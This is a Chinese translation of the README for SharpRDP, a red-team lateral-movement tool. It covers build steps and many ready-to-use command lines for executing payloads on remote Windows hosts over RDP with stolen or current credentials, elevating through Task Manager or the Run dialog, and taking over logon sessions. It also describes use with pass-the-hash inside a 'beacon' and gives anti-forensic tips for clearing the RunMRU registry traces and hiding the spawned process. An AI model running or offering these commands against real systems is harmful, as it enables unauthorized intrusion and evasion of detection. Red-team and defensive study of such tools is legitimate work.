要编译,请在Visual Studio中打开项目并生成为Release版本。两个DLL将输出到Release目录,但您不需要它们,因为DLL已包含在程序集中。
如果您不想使用提供的DLL,您需要.NET SDK来创建AxMSTSCLib.dll DLL。要创建它,您需要从SDK中对mstscax.dll运行aximp。%<SDK dir>%\aximp.exe %windir%\system32\mstscax.dll。这些DLL需要被项目引用以创建Interop DLL。
您还需要使用Deflate压缩这些DLL,并命名为AxInterop.MSTSCLib.dll.bin和Interop.MSTSCLib.dll.bin
常规RDP连接和执行
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
作为cmd或powershell的子进程执行程序
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password exec=cmd
使用受限管理员模式
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe"
连接第一台主机的驱动器
SharpRDP.exe computername=domain.target command="\\tsclient\C\Temp\file.exe" username=domain\user password=password connectdrive=true
通过运行对话框以提升权限执行命令 - 当前存在BUG
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe" username=domain\user password=password elevated=winr
通过任务管理器以提升权限执行命令
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password elevated=taskmgr
添加网络级身份验证
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password nla=true
请求接管登录会话
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password takeover=true
如果目标上启用了受限管理员模式,请不要指定任何凭据,它将使用当前用户上下文。可以在beacon中使用PTH或make_token,或在Windows系统上使用runas /netonly。
所有执行都从Windows运行对话框(Win+R)开始。将在注册表项HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU中创建一个包含您所执行命令的键。如果您想删除它,可以使用:CleanRunMRU: 获取或清除RunMRU值
请注意,如果您执行像msbuild这样的程序(我相信还有其他的),在进程运行时会弹出一个cmd窗口。如果发生这种情况,最好迁移该进程并终止原始进程。
所需的DLL被编译到程序集中,并使用了应用程序域程序集解析事件。由于DLL的大小,它们在运行时被压缩和解压缩(以便满足beacon的1MB大小限制)。
相关博客文章可在此找到 SharpRDP
同时也是 MoveKit 的一部分